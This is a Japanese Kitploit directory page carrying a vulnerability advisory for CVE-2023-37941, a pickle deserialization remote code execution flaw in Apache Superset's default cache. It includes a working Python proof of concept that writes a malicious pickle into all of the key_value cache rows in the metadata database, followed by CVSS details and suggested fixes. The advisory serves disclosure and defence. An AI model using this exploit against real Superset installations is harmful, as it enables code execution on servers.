Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-37941 — pickleを使用してsupersetのデフォルトキャッシュを悪用する | Kitploit
ツール/GitHubGitHub/barroqueiro/cve-2023-37941
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストペイロード開発
GitHubbarroqueiro/cve-2023-37941

CVE-2023-37941

pickleを使用してsupersetのデフォルトキャッシュを悪用する

リポジトリを見る
123年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

SupersetのデフォルトキャッシュにおけるPickle RCEの悪用

情報

root@kitploit:~
[ 著者 ] Dinis Cruz
[ プロジェクト ] Superset

説明

Apache Supersetはキャッシュのためのさまざまなオプションを提供しており、そのすべてはFlask-Cachingに基づいています。組み込みキャッシュが提供されており、値をシリアライズして後で取得できるようにします。このシリアライゼーションと取得はPickleを使用して行われ、Pythonオブジェクトのデシリアライゼーションを可能にし、その結果コードの実行が可能になります。

組み込みキャッシュはメタデータデータベース内に情報を書き込むため、このデータベースにアクセスできる攻撃者は自分の権限を昇格させ、Supersetを提供するマシン/コンテナへのリモートアクセスを得ることができます。

影響を受けるURL [またはコンポーネント]

MetaStoreCache クラス。これは情報のシリアライゼーションに PickleKeyValueCodec クラスを使用します。

概念実証 (PoC)

この問題は、まずデフォルトで組み込みキャッシュを使用するクリーンなSupersetインストールを作成することで再現されました。

この問題を悪用するにはデータベースへのアクセスが必要であるという既知の知識をもとに、pickleエクスプロイトを使用してすべてのキャッシュされた値を更新できます。その後、値がユーザーに提供されると、pickleモジュールがデータをデシリアライズしてコードを実行します。PythonのPoCを以下に示します。

root@kitploit:~
import os
import psycopg2
import pickle5 as pickle

class RCE:
    def __reduce__(self):
        cmd = ('touch /tmp/evil.sh')
        return os.system, (cmd,)

def exploit():
    pickled = pickle.dumps(RCE())

    con = psycopg2.connect(
        database="superset",
        user="superset",
        password="superset",
        host="localhost",
        port= '5432'
    )

    cursor = con.cursor()

    cursor.execute('''UPDATE key_value SET value = %s''', (psycopg2.Binary(pickled),))
    con.commit()

if __name__ == '__main__':
    exploit()

このスクリプトはデータベース内にキャッシュされたすべての値を更新し、データがユーザーに提供されると、デモンストレーション用に /tmp ディレクトリ内に evil.sh ファイルが作成されます。

影響を受けるユーザー

すべてのユーザーが影響を受ける可能性があります。

CWE

  • CWE-502

CVSSスコア

  • 攻撃元 (AV) - ネットワーク (N)
  • 攻撃難易度 (AC) - 低 (L)
  • 必要な特権レベル (PR) - 高 (H)
  • ユーザー関与 (UI) - なし (N)
  • 影響範囲 (S) - 変更あり (C)
  • 機密性 (C) - 高 (H)
  • 完全性 (I) - 高 (H)
  • 可用性 (A) - 高 (H)

スコア: 9.1

推奨される修正 (対応策)

修正はSupersetチームに委ねられています。大きな問題は、データシリアライゼーションにpickleを使用していることにあります。私の理解では、コミット #23888 から、他のコンポーネントからはpickleシリアライゼーションを削除する方向にシフトしましたが、このコンポーネントでは「任意のバイナリタイプを処理する」必要があるために保持されました。最もクリーンな解決策は別のシリアライゼーションメカニズムに切り替えることですが、制限付きのunpicklerを実装することもでき、確実な解決策ではありませんが、実装に必要な作業が少なくて済む可能性があります。

前提条件

Supersetインストールで使用されているメタデータデータベースへのアクセス。

使用したツールと必要な設定

特別なセットアップは必要なく、ペイロードを生成するためのPythonインタプリタのみが必要です。悪意のあるペイロードをデータベースに導入する方法はさまざまです。

ツールをダウンロード